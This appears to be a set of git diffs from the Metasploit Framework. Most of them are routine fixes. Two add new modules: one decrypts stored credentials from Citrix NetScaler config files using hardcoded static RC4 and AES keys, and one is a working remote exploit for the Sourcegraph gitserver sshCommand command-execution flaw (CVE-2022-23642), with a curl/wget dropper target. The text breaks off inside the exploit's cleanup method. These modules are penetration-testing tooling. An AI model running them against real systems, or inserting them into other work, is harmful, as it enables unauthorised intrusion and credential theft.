@@ -173,7 +173,7 @@ module Msf::Post::Windows::Runas
|
||||
nil,
|
||||
nil,
|
||||
startup_info,
|
||||
16)
|
||||
session.arch == ARCH_X64 ? 24 : 16)
|
||||
|
||||
if create_process['return']
|
||||
begin
|
||||
@@ -210,7 +210,7 @@ module Msf::Post::Windows::Runas
|
||||
fail ArgumentError, 'process_information is nil' if process_information.nil?
|
||||
fail ArgumentError, 'process_information is empty string' if process_information.empty?
|
||||
|
||||
pi = process_information.unpack('VVVV')
|
||||
pi = process_information.unpack(session.arch == ARCH_X64 ? 'Q<Q<VV' : 'VVVV')
|
||||
{ :process_handle => pi[0], :thread_handle => pi[1], :process_id => pi[2], :thread_id => pi[3] }
|
||||
end
|
||||
|
||||
|
||||
@@ -63,6 +63,8 @@ class Client
|
||||
'pad_get_params_count' => 'integer',
|
||||
'pad_post_params' => 'bool',
|
||||
'pad_post_params_count' => 'integer',
|
||||
'shuffle_get_params' => 'bool',
|
||||
'shuffle_post_params' => 'bool',
|
||||
'uri_fake_end' => 'bool',
|
||||
'uri_fake_params_start' => 'bool',
|
||||
'header_folding' => 'bool',
|
||||
|
||||
@@ -66,6 +66,8 @@ class ClientRequest
|
||||
'pad_post_params_count' => 8, # integer
|
||||
'uri_fake_end' => false, # bool
|
||||
'uri_fake_params_start' => false, # bool
|
||||
'shuffle_get_params' => false, # bool
|
||||
'shuffle_post_params' => false, # bool
|
||||
'header_folding' => false, # bool
|
||||
'chunked_size' => 0, # integer
|
||||
|
||||
@@ -114,6 +116,8 @@ class ClientRequest
|
||||
end
|
||||
end
|
||||
if opts.key?("vars_get") && opts['vars_get']
|
||||
opts['vars_get'] = Hash[opts['vars_get'].to_a.shuffle] if (opts['shuffle_get_params'])
|
||||
|
||||
opts['vars_get'].each_pair do |var,val|
|
||||
var = var.to_s
|
||||
|
||||
@@ -139,6 +143,8 @@ class ClientRequest
|
||||
end
|
||||
end
|
||||
|
||||
opts['vars_post'] = Hash[opts['vars_post'].to_a.shuffle] if (opts['shuffle_post_params'])
|
||||
|
||||
opts['vars_post'].each_pair do |var,val|
|
||||
var = var.to_s
|
||||
unless val.is_a?(Array)
|
||||
|
||||
@@ -0,0 +1,254 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'metasploit/framework/credential_collection'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Decrypt Citrix NetScaler Config Secrets',
|
||||
'Description' => %q{
|
||||
This module takes a Citrix NetScaler ns.conf configuration file as
|
||||
input and extracts secrets that have been stored with reversible
|
||||
encryption. The module supports legacy NetScaler encryption (RC4)
|
||||
as well as the newer AES-256-ECB and AES-256-CBC encryption types.
|
||||
It is also possible to decrypt secrets protected by the Key
|
||||
Encryption Key (KEK) method, provided the key fragment files F1.key
|
||||
and F2.key are provided.
|
||||
},
|
||||
'Author' => 'npm[at]cesium137.io',
|
||||
'Platform' => [ 'bsd' ],
|
||||
'DisclosureDate' => '2022-05-19',
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
['URL', 'https://dozer.nz/posts/citrix-decrypt/'],
|
||||
['URL', 'https://www.ferroquesystems.com/resource/citrix-adc-security-kek-files/']
|
||||
],
|
||||
'Actions' => [
|
||||
[
|
||||
'Dump',
|
||||
{
|
||||
'Description' => 'Dump secrets from NetScaler configuration'
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultAction' => 'Dump',
|
||||
'Notes' => {
|
||||
'Stability' => [ CRASH_SAFE ],
|
||||
'Reliability' => [ REPEATABLE_SESSION ],
|
||||
'SideEffects' => [ ARTIFACTS_ON_DISK ]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptPath.new('NS_CONF', [ true, 'Path to a NetScaler configuration file (ns.conf)' ]),
|
||||
OptPath.new('NS_KEK_F1', [ false, 'Path to NetScaler KEK fragment file F1.key' ]),
|
||||
OptPath.new('NS_KEK_F2', [ false, 'Path to NetScaler KEK fragment file F2.key' ]),
|
||||
OptString.new('NS_IP', [ false, '(Optional) IPv4 address to attach to loot' ])
|
||||
])
|
||||
end
|
||||
|
||||
def loot_host
|
||||
datastore['NS_IP'] || '127.0.0.1'
|
||||
end
|
||||
|
||||
def ns_conf
|
||||
datastore['NS_CONF']
|
||||
end
|
||||
|
||||
def ns_kek_f1
|
||||
datastore['NS_KEK_F1']
|
||||
end
|
||||
|
||||
def ns_kek_f2
|
||||
datastore['NS_KEK_F2']
|
||||
end
|
||||
|
||||
# ns.conf elements that contain potential secrets, update as needed
|
||||
# k = parameter that has the secret (-key, -password, [...])
|
||||
# v = start of config line that potentially has a secret
|
||||
def ns_secret
|
||||
{
|
||||
'key' => ['add ssl certKey'],
|
||||
'keyValue' => ['set ns encryptionParams'],
|
||||
'radKey' => ['add authentication radiusAction'],
|
||||
'ldapBindDnPassword' => ['add authentication ldapAction'],
|
||||
'password' => ['set ns rpcNode', 'add lb monitor', 'add aaa user'],
|
||||
'passPhrase' => ['add authentication dfaAction']
|
||||
}
|
||||
end
|
||||
|
||||
# Statically defined in libnscli90.so, modern appliances keep these in /nsconfig/.skf
|
||||
def ns90_rc4key
|
||||
'2286da6ca015bcd9b7259753c2a5fbc2'.scan(/../).map(&:hex).pack('C*')
|
||||
end
|
||||
|
||||
def ns90_aeskey
|
||||
'351cbe38f041320f22d990ad8365889c7de2fcccae5a1a8707e21e4adccd4ad9'.scan(/../).map(&:hex).pack('C*')
|
||||
end
|
||||
|
||||
def run
|
||||
if ns_kek_f1 && ns_kek_f2
|
||||
print_status('Building NetScaler KEK from key fragments ...')
|
||||
build_ns_kek
|
||||
end
|
||||
parse_ns_config
|
||||
end
|
||||
|
||||
def build_ns_kek
|
||||
unless File.size(ns_kek_f1) == 256 && File.size(ns_kek_f2) == 256
|
||||
print_error('KEK files must be 256 bytes in size')
|
||||
return false
|
||||
end
|
||||
f1_hex = File.binread(ns_kek_f1)
|
||||
f2_hex = File.binread(ns_kek_f2)
|
||||
unless f1_hex.match?(/^[0-9a-f]+$/i)
|
||||
print_error('Provided F1.key is not valid hexidecimal data')
|
||||
raise Msf::OptionValidateError, ['NS_KEK_F1']
|
||||
end
|
||||
unless f2_hex.match?(/^[0-9a-f]+$/i)
|
||||
print_error('Provided F2.key is not valid hexidecimal data')
|
||||
raise Msf::OptionValidateError, ['NS_KEK_F2']
|
||||
end
|
||||
f1_key = f1_hex[66..130].scan(/../).map(&:hex).pack('C*')
|
||||
f2_key = f2_hex[70..134].scan(/../).map(&:hex).pack('C*')
|
||||
f1_key_hex = f1_key.unpack('H*').first
|
||||
f2_key_hex = f2_key.unpack('H*').first
|
||||
print_good('NS KEK F1')
|
||||
print_good("\t HEX: #{f1_key_hex}")
|
||||
print_good('NS KEK F2')
|
||||
print_good("\t HEX: #{f2_key_hex}")
|
||||
@ns_kek_key = OpenSSL::HMAC.hexdigest('SHA256', f2_key, f1_key).scan(/../).map(&:hex).pack('C*')
|
||||
@ns_kek_key_hex = @ns_kek_key.unpack('H*').first
|
||||
print_good('Assembled NS KEK AES key')
|
||||
print_good("\t HEX: #{@ns_kek_key_hex}\n")
|
||||
true
|
||||
end
|
||||
|
||||
def parse_ns_config
|
||||
ns_config_data = File.binread(ns_conf)
|
||||
ns_secret.each do |secret|
|
||||
element = secret[0]
|
||||
secret[1].each do |keyword|
|
||||
lines = ns_config_data.to_enum(:scan, /^#{keyword}.*/).map { Regexp.last_match }
|
||||
lines.each do |line|
|
||||
is_kek = false
|
||||
config_entry = line.to_s
|
||||
ciphertext = config_entry.to_enum(:scan, /#?([\da-f]{2})([\da-f]{2})([\da-f]{2})(\w+)/).map { Regexp.last_match }
|
||||
unless ciphertext.first
|
||||
ciphertext = config_entry.to_enum(:scan, /(-passcrypt.*(\s*))/).map { Regexp.last_match }
|
||||
next unless ciphertext.first
|
||||
end
|
||||
enc_type = config_entry.match(/encryptmethod (\w+)/).to_s.split(' ')[1].to_s
|
||||
if config_entry.match?(/-kek/)
|
||||
is_kek = true
|
||||
end
|
||||
print_status("Config line:\n#{config_entry}")
|
||||
if is_kek && !@ns_kek_key
|
||||
print_warning('Entry was encrypted with KEK but no KEK fragement files provided, decryption will not be possible')
|
||||
next
|
||||
end
|
||||
username = parse_username_from_config(config_entry)
|
||||
ciphertext.each do |encrypted|
|
||||
encrypted_entry = encrypted.to_s
|
||||
if encrypted_entry =~ /^[0-9a-f]+$/i
|
||||
ciphertext_bytes = encrypted_entry.scan(/../).map(&:hex).pack('C*')
|
||||
else
|
||||
ciphertext_b64 = encrypted_entry.split(' ')[1].delete('"')
|
||||
# TODO: Implement -passcrypt functionality
|
||||
# ciphertext_bytes = Base64.strict_decode64(ciphertext_b64)
|
||||
print_warning('Not decrypting passcrypt entry:')
|
||||
print_warning("Ciphertext: #{ciphertext_b64}")
|
||||
next
|
||||
end
|
||||
case enc_type
|
||||
when 'ENCMTHD_2' # aes-256-ecb
|
||||
if is_kek
|
||||
aeskey = @ns_kek_key
|
||||
else
|
||||
aeskey = ns90_aeskey
|
||||
end
|
||||
plaintext = ns_aes_ecb_decrypt(aeskey, ciphertext_bytes)
|
||||
when 'ENCMTHD_3' # aes-256-cbc
|
||||
if is_kek
|
||||
aeskey = @ns_kek_key
|
||||
else
|
||||
aeskey = ns90_aeskey
|
||||
end
|
||||
plaintext = ns_aes_cbc_decrypt(aeskey, ciphertext_bytes)
|
||||
else # rc4 (legacy)
|
||||
plaintext = ns_rc4_decrypt(ns90_rc4key, ciphertext_bytes)
|
||||
end
|
||||
next unless plaintext
|
||||
|
||||
if username
|
||||
print_good("User: #{username}")
|
||||
print_good("Pass: #{plaintext}")
|
||||
store_valid_credential(user: username, private: plaintext)
|
||||
else
|
||||
print_good("Plaintext: #{plaintext}")
|
||||
store_valid_credential(user: element, private: plaintext)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def parse_username_from_config(line)
|
||||
# Ugly but effective way to extract the principal name from a config line for loot storage
|
||||
# The whitespace prefixed to ' user' is intentional so that it does not clobber other parameters with 'user' in the pattern
|
||||
[' user', 'userName', '-clientID', '-bindDN', '-ldapBindDn'].each do |user_param|
|
||||
next unless line.match?(/#{user_param} (.+)/)
|
||||
|
||||
user_name = line.match(/#{user_param} (.+)/).to_s.split(' ')[1].to_s
|
||||
if user_name.match?('"')
|
||||
user_name = line.match(/#{user_param} (.+")/).to_s.split('"')[1].to_s
|
||||
end
|
||||
return user_name
|
||||
end
|
||||
false
|
||||
end
|
||||
|
||||
def ns_rc4_decrypt(rc4key, ciphertext_bytes)
|
||||
decipher = OpenSSL::Cipher.new('rc4')
|
||||
decipher.decrypt
|
||||
decipher.key = rc4key
|
||||
decipher.update(ciphertext_bytes)
|
||||
rescue OpenSSL::Cipher::CipherError
|
||||
print_error("#{__method__}: bad decrypt")
|
||||
return false
|
||||
end
|
||||
|
||||
def ns_aes_ecb_decrypt(aeskey, ciphertext_bytes)
|
||||
decipher = OpenSSL::Cipher.new('aes-256-ecb')
|
||||
decipher.decrypt
|
||||
decipher.padding = 0
|
||||
decipher.key = aeskey
|
||||
(decipher.update(ciphertext_bytes) + decipher.final).delete("\000")
|
||||
rescue OpenSSL::Cipher::CipherError
|
||||
print_error("#{__method__}: bad decrypt")
|
||||
return false
|
||||
end
|
||||
|
||||
def ns_aes_cbc_decrypt(aeskey, ciphertext_bytes)
|
||||
decipher = OpenSSL::Cipher.new('aes-256-cbc')
|
||||
iv = ciphertext_bytes[0, 16]
|
||||
ciphertext = ciphertext_bytes[16..]
|
||||
decipher.decrypt
|
||||
decipher.iv = iv
|
||||
decipher.padding = 1
|
||||
decipher.key = aeskey
|
||||
(decipher.update(ciphertext) + decipher.final).delete("\000")
|
||||
rescue OpenSSL::Cipher::CipherError
|
||||
print_error("#{__method__}: bad decrypt")
|
||||
return false
|
||||
end
|
||||
end
|
||||
@@ -3,150 +3,141 @@
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Censys Search',
|
||||
'Description' => %q{
|
||||
The module use the Censys REST API to access the same data
|
||||
accessible through web interface. The search endpoint allows searches
|
||||
against the current data in the IPv4, Top Million Websites, and
|
||||
Certificates indexes using the same search syntax as the primary site.
|
||||
},
|
||||
'Author' => [ 'Nixawk' ],
|
||||
'References' => [
|
||||
['URL', 'https://censys.io/api']
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
CENSYS_SEARCH_API = 'search.censys.io'.freeze
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Censys Search',
|
||||
'Description' => %q{
|
||||
The module uses the Censys REST API to access the same data accessible
|
||||
through the web interface. The search endpoint allows queries using
|
||||
the Censys Search Language against the Hosts dataset. Setting the
|
||||
CERTIFICATES option will also retrieve the certificate details for each
|
||||
relevant service by querying the Certificates dataset.
|
||||
},
|
||||
'Author' => [
|
||||
'Nixawk', # original Metasploit module
|
||||
'e2002e', # rework to use the API v2
|
||||
'Christophe De La Fuente' # rework to use the API v2
|
||||
],
|
||||
'References' => [
|
||||
['URL', 'https://search.censys.io']
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptString.new('CENSYS_UID', [true, 'The Censys API UID']),
|
||||
OptString.new('CENSYS_SECRET', [true, 'The Censys API SECRET']),
|
||||
OptString.new('CENSYS_DORK', [true, 'The Censys Search Dork']),
|
||||
OptEnum.new('CENSYS_SEARCHTYPE', [true, 'The Censys Search Type', 'certificates', ['certificates', 'ipv4', 'websites']])
|
||||
OptString.new('QUERY', [true, 'The Censys search query']),
|
||||
OptBool.new('CERTIFICATES', [false, 'Query infos about certificates', false])
|
||||
])
|
||||
end
|
||||
|
||||
def basic_auth_header(username, password)
|
||||
auth_str = username.to_s + ":" + password.to_s
|
||||
auth_str = "Basic " + Rex::Text.encode_base64(auth_str)
|
||||
def basic_auth_header
|
||||
auth_str = datastore['CENSYS_UID'].to_s + ':' + datastore['CENSYS_SECRET'].to_s
|
||||
'Basic ' + Rex::Text.encode_base64(auth_str)
|
||||
end
|
||||
|
||||
def search(keyword, search_type)
|
||||
# search_type should be one of ipv4, websites, certificates
|
||||
|
||||
def search(keyword)
|
||||
begin
|
||||
# "80.http.get.headers.server: Apache"
|
||||
payload = {
|
||||
'query' => keyword
|
||||
}
|
||||
|
||||
@cli = Rex::Proto::Http::Client.new('www.censys.io', 443, {}, true)
|
||||
@cli = Rex::Proto::Http::Client.new(CENSYS_SEARCH_API, 443, {}, true)
|
||||
@cli.connect
|
||||
|
||||
response = @cli.request_cgi(
|
||||
'method' => 'post',
|
||||
'uri' => "/api/v1/search/#{search_type}",
|
||||
'headers' => { 'Authorization' => basic_auth_header(@uid, @secret) },
|
||||
'data' => payload.to_json
|
||||
'method' => 'GET',
|
||||
'uri' => "/api/v2/hosts/search?q=#{keyword}",
|
||||
'headers' => { 'Authorization' => basic_auth_header }
|
||||
)
|
||||
|
||||
res = @cli.send_recv(response)
|
||||
|
||||
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
|
||||
print_error("HTTP Connection Failed")
|
||||
end
|
||||
|
||||
unless res
|
||||
print_error('server_response_error')
|
||||
return
|
||||
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT => e
|
||||
fail_with(Failure::Unreachable, "#search: HTTP Connection Failed: #{e}")
|
||||
end
|
||||
fail_with(Failure::Unreachable, '#search: HTTP Connection Failed') unless res
|
||||
|
||||
records = ActiveSupport::JSON.decode(res.body)
|
||||
results = records['results']
|
||||
|
||||
if @searchtype.include?('certificates')
|
||||
parse_certificates(results)
|
||||
elsif @searchtype.include?('ipv4')
|
||||
parse_ipv4(results)
|
||||
elsif @searchtype.include?('websites')
|
||||
parse_websites(results)
|
||||
if records['code'] == 200
|
||||
parse_record(records['result'])
|
||||
else
|
||||
fail_with(Failure::UnexpectedReply, "Error returned by '/api/v2/hosts/search': code=#{records['code']}, status=#{records['status']}, error=#{records['error']}")
|
||||
end
|
||||
end
|
||||
|
||||
def valid_domain?(domain)
|
||||
domain =~ /^([a-z0-9]+(-[a-z0-9]+)*\.)+[a-z]{2,}$/
|
||||
end
|
||||
def get_certificate_details(cert_fingerprint)
|
||||
return if cert_fingerprint.nil?
|
||||
|
||||
def domain2ip(domain)
|
||||
ips = []
|
||||
begin
|
||||
ips = Rex::Socket.getaddresses(domain)
|
||||
rescue SocketError
|
||||
response = @cli.request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => "/api/v1/view/certificates/#{cert_fingerprint}",
|
||||
'headers' => { 'Authorization' => basic_auth_header }
|
||||
)
|
||||
res = @cli.send_recv(response)
|
||||
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
|
||||
print_error('#get_certificate_details - HTTP Connection Failed')
|
||||
return
|
||||
end
|
||||
ips
|
||||
return unless res
|
||||
|
||||
cert_details = ActiveSupport::JSON.decode(res.body)
|
||||
subject = cert_details.dig('parsed', 'subject_dn')
|
||||
return unless subject
|
||||
|
||||
issuer = cert_details.dig('parsed', 'issuer_dn')
|
||||
cert_details = subject
|
||||
cert_details << " (Issuer: #{issuer})" if issuer
|
||||
cert_details
|
||||
end
|
||||
|
||||
def parse_certificates(records)
|
||||
ips = []
|
||||
records.each do |certificate|
|
||||
# parsed.fingerprint_sha256
|
||||
# parsed.subject_dn
|
||||
# parsed.issuer_dn
|
||||
subject_dn = certificate['parsed.subject_dn'].join(',')
|
||||
next unless subject_dn.include?('CN=')
|
||||
|
||||
host = subject_dn.split('CN=')[1]
|
||||
if Rex::Socket.is_ipv4?(host)
|
||||
ips << host
|
||||
elsif valid_domain?(host) # Fake DNS server
|
||||
ips |= domain2ip(host)
|
||||
end
|
||||
|
||||
ips.each do |ip|
|
||||
print_good("#{ip} - #{subject_dn}")
|
||||
report_host(:host => ip, :info => subject_dn)
|
||||
def parse_record(records)
|
||||
unless records&.dig('hits')&.any?
|
||||
print_error('The query did not return any records')
|
||||
return
|
||||
end
|
||||
records['hits'].each do |hit|
|
||||
ip = hit['ip']
|
||||
services = hit['services']
|
||||
ports = []
|
||||
certs = []
|
||||
services.each do |service|
|
||||
port = service['port']
|
||||
name = service['service_name']
|
||||
ports << "#{port}/#{name}"
|
||||
cert_details = nil
|
||||
if datastore['CERTIFICATES'] && service['certificate']
|
||||
cert_details = get_certificate_details(service['certificate'])
|
||||
if cert_details
|
||||
certs << "Certificate for #{port}/#{name}: #{cert_details}"
|
||||
else
|
||||
vprint_error("Unable to get certificate details for #{port}/#{name}")
|
||||
end
|
||||
end
|
||||
if cert_details
|
||||
report_service(host: ip, port: port, name: name, info: cert_details)
|
||||
else
|
||||
report_service(host: ip, port: port, name: name)
|
||||
end
|
||||
end
|
||||
print_good("#{ip} - #{ports.join(',')}")
|
||||
certs.each { |cert| print_status(cert) }
|
||||
end
|
||||
end
|
||||
|
||||
def parse_ipv4(records)
|
||||
records.each do |ipv4|
|
||||
# ip
|
||||
# protocols
|
||||
ip = ipv4['ip']
|
||||
protocols = ipv4['protocols']
|
||||
|
||||
protocols.each do |protocol|
|
||||
print_good("#{ipv4['ip']} - #{ipv4['protocols'].join(',')}")
|
||||
port, name = protocol.split('/')
|
||||
report_service(:host => ip, :port => port, :name => name)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def parse_websites(records)
|
||||
records.each do |website|
|
||||
# domain
|
||||
# alexa_rank
|
||||
print_good("#{website['domain']} - #{website['alexa_rank']}")
|
||||
domain = website['domain']
|
||||
ips = domain2ip(domain)
|
||||
ips.each do |ip|
|
||||
report_host(:host =>ip)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Check to see if www.censys.io resolves properly
|
||||
# Check to see if Censys Search API host resolves properly
|
||||
def censys_resolvable?
|
||||
begin
|
||||
Rex::Socket.resolv_to_dotted("www.censys.io")
|
||||
Rex::Socket.resolv_to_dotted(CENSYS_SEARCH_API)
|
||||
rescue RuntimeError, SocketError
|
||||
return false
|
||||
end
|
||||
@@ -154,16 +145,10 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
|
||||
def run
|
||||
# check to ensure www.censys.io is resolvable
|
||||
unless censys_resolvable?
|
||||
print_error("Unable to resolve www.censys.io")
|
||||
return
|
||||
fail_with(Failure::Unreachable, "Unable to resolve #{CENSYS_SEARCH_API}")
|
||||
end
|
||||
|
||||
@uid = datastore['CENSYS_UID']
|
||||
@secret = datastore['CENSYS_SECRET']
|
||||
@dork = datastore['CENSYS_DORK']
|
||||
@searchtype = datastore['CENSYS_SEARCHTYPE']
|
||||
search(@dork, @searchtype)
|
||||
search(datastore['QUERY'])
|
||||
end
|
||||
end
|
||||
|
||||
@@ -27,7 +27,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||
Netlify and Sucuri.
|
||||
},
|
||||
'Author' => [
|
||||
'mekhalleh (RAMELLA Sébastien)' # https://www.pirates.re/
|
||||
'mekhalleh (RAMELLA Sébastien)', # https://www.pirates.re/
|
||||
'Yvain'
|
||||
],
|
||||
'References' => [
|
||||
['URL', 'https://citadelo.com/en/blog/cloudflare-how-to-do-it-right-and-do-not-reveal-your-real-ip/']
|
||||
@@ -165,21 +166,18 @@ class MetasploitModule < Msf::Auxiliary
|
||||
# ------------------------------------------------------------------------- #
|
||||
|
||||
# auxiliary/gather/censys_search.rb
|
||||
def censys_search(keyword, search_type, uid, secret)
|
||||
def censys_search(keyword, uid, secret)
|
||||
begin
|
||||
payload = { 'query' => keyword }
|
||||
|
||||
cli = Rex::Proto::Http::Client.new('www.censys.io', 443, {}, true, nil, datastore['Proxies'])
|
||||
cli = Rex::Proto::Http::Client.new('search.censys.io', 443, {}, true, nil, datastore['Proxies'])
|
||||
cli.connect
|
||||
|
||||
response = cli.request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => "/api/v1/search/#{search_type}",
|
||||
'method' => 'GET',
|
||||
'uri' => "/api/v2/hosts/search?q=#{keyword}",
|
||||
'agent' => datastore['USERAGENT'],
|
||||
'headers' => {
|
||||
'Authorization' => "Basic #{Rex::Text.encode_base64("#{uid}:#{secret}")}"
|
||||
},
|
||||
'data' => payload.to_json
|
||||
}
|
||||
)
|
||||
results = cli.send_recv(response)
|
||||
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
|
||||
@@ -192,8 +190,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
|
||||
records = ActiveSupport::JSON.decode(results.body)
|
||||
results = records['results']
|
||||
|
||||
results = records['result']
|
||||
parse_ipv4(results)
|
||||
end
|
||||
|
||||
@@ -296,7 +294,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
# auxiliary/gather/censys_search.rb
|
||||
def parse_ipv4(records)
|
||||
ip_list = []
|
||||
records.each do |ipv4|
|
||||
records['hits'].each do |ipv4|
|
||||
ip_list.push(ipv4['ip'])
|
||||
end
|
||||
ip_list
|
||||
@@ -579,7 +577,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
# Censys search
|
||||
if [datastore['CENSYS_UID'], datastore['CENSYS_SECRET']].none?(&:nil?)
|
||||
ip_records = censys_search(domain_name, 'ipv4', datastore['CENSYS_UID'], datastore['CENSYS_SECRET'])
|
||||
ip_records = censys_search(domain_name, datastore['CENSYS_UID'], datastore['CENSYS_SECRET'])
|
||||
if ip_records && !ip_records.empty?
|
||||
ip_list |= ip_records
|
||||
end
|
||||
|
||||
@@ -26,6 +26,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
[
|
||||
OptString.new('SHOST', [false, "Source IP Address"]),
|
||||
OptString.new('SMAC', [false, "Source MAC Address"]),
|
||||
OptInt.new('TIMEOUT', [true, 'The number of seconds to wait for new data', 5]),
|
||||
])
|
||||
|
||||
deregister_options('SNAPLEN', 'FILTER')
|
||||
@@ -74,7 +75,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
end
|
||||
|
||||
etime = ::Time.now.to_f + (hosts.length * 0.05)
|
||||
etime = ::Time.now.to_f + datastore['TIMEOUT']
|
||||
|
||||
while (::Time.now.to_f < etime)
|
||||
while(reply = getreply())
|
||||
|
||||
@@ -0,0 +1,170 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
Rank = ExcellentRanking
|
||||
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Sourcegraph gitserver sshCommand RCE',
|
||||
'Description' => %q{
|
||||
A vulnerability exists within Sourcegraph's gitserver component that allows a remote attacker to execute
|
||||
arbitrary OS commands by modifying the core.sshCommand value within the git configuration. This command can
|
||||
then be triggered on demand by executing a git push operation. The vulnerability was patched by introducing a
|
||||
feature flag in version 3.37.0. This flag must be enabled for the protections to be in place which filter the
|
||||
commands that are able to be executed through the git exec REST API.
|
||||
},
|
||||
'Author' => [
|
||||
'Altelus1', # github PoC
|
||||
'Spencer McIntyre' # metasploit module
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2022-23642'],
|
||||
['URL', 'https://github.com/sourcegraph/sourcegraph/security/advisories/GHSA-qcmp-fx72-q8q9'],
|
||||
['URL', 'https://github.com/Altelus1/CVE-2022-23642'],
|
||||
],
|
||||
'DisclosureDate' => '2022-02-18', # Public disclosure
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['unix', 'linux'],
|
||||
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
|
||||
'Targets' => [
|
||||
[
|
||||
'Unix Command',
|
||||
{
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Type' => :unix_memory
|
||||
},
|
||||
],
|
||||
[
|
||||
'Linux Dropper',
|
||||
{
|
||||
'Platform' => 'linux',
|
||||
# when the OS command is executed, it's executed twice which will cause some of the command stagers to
|
||||
# be corrupt, these two work even for larger payloads because they're downloaded in a single command
|
||||
'CmdStagerFlavor' => %w[curl wget],
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Type' => :linux_dropper
|
||||
},
|
||||
]
|
||||
],
|
||||
'DefaultOptions' => {
|
||||
'RPORT' => 3178
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptString.new('TARGETURI', [true, 'Base path', '/']),
|
||||
OptString.new('EXISTING_REPO', [false, 'An existing, cloned repository'])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_exec(Rex::Text.rand_text_alphanumeric(4..11), ['config', '--default', '', 'core.sshCommand'])
|
||||
return CheckCode::Unknown unless res
|
||||
|
||||
if res.code == 200 && res.body =~ /^X-Exec-Exit-Status: 0/
|
||||
# this is the response if the target repo does exist, highly unlikely since it's randomized
|
||||
return CheckCode::Vulnerable('Successfully set core.sshCommand.')
|
||||
elsif res.code == 404 && res.body =~ /"cloneInProgress"/
|
||||
# this is the response if the target repo does not exist
|
||||
return CheckCode::Vulnerable
|
||||
elsif res.code == 400 && res.body =~ /^invalid command/
|
||||
# this is the response when the server is patched, regardless of if there are cloned repos
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
CheckCode::Unknown
|
||||
end
|
||||
|
||||
def exploit
|
||||
if datastore['EXISTING_REPO'].blank?
|
||||
@git_repo = send_request_list.sample
|
||||
fail_with(Failure::NotFound, 'Did not identify any cloned repositories on the remote server.') unless @git_repo
|
||||
|
||||
print_status("Using automatically identified repository: #{@git_repo}")
|
||||
else
|
||||
@git_repo = datastore['EXISTING_REPO']
|
||||
end
|
||||
|
||||
print_status("Executing #{target.name} target")
|
||||
|
||||
@git_origin = Rex::Text.rand_text_alphanumeric(4..11)
|
||||
git_remote = "git@#{Rex::Text.rand_text_alphanumeric(4..11)}:#{Rex::Text.rand_text_alphanumeric(4..11)}.git"
|
||||
vprint_status("Using #{@git_origin} as a fake git origin")
|
||||
send_request_exec(@git_repo, ['remote', 'add', @git_origin, git_remote])
|
||||
|
||||
case target['Type']
|
||||
when :unix_memory
|
||||
execute_command(payload.encoded)
|
||||
when :linux_dropper
|
||||
execute_cmdstager
|
||||
end
|
||||
end
|
||||
|
||||
def cleanup
|
||||
return unless @git_repo && @git_origin
|
||||
|
||||
vprint_status('Cleaning up the git changes...')
|
||||
# delete the remote that was created
|
||||
send_request_exec(@git_repo, ['remote', 'remove', @git_origin])
|
||||
# unset the core.sshCommand value
|
||||
send_request_exec(@git_repo, ['config', '--unset', 'core.sshCommand'])
|
||||
ensure
|
||||
super
|
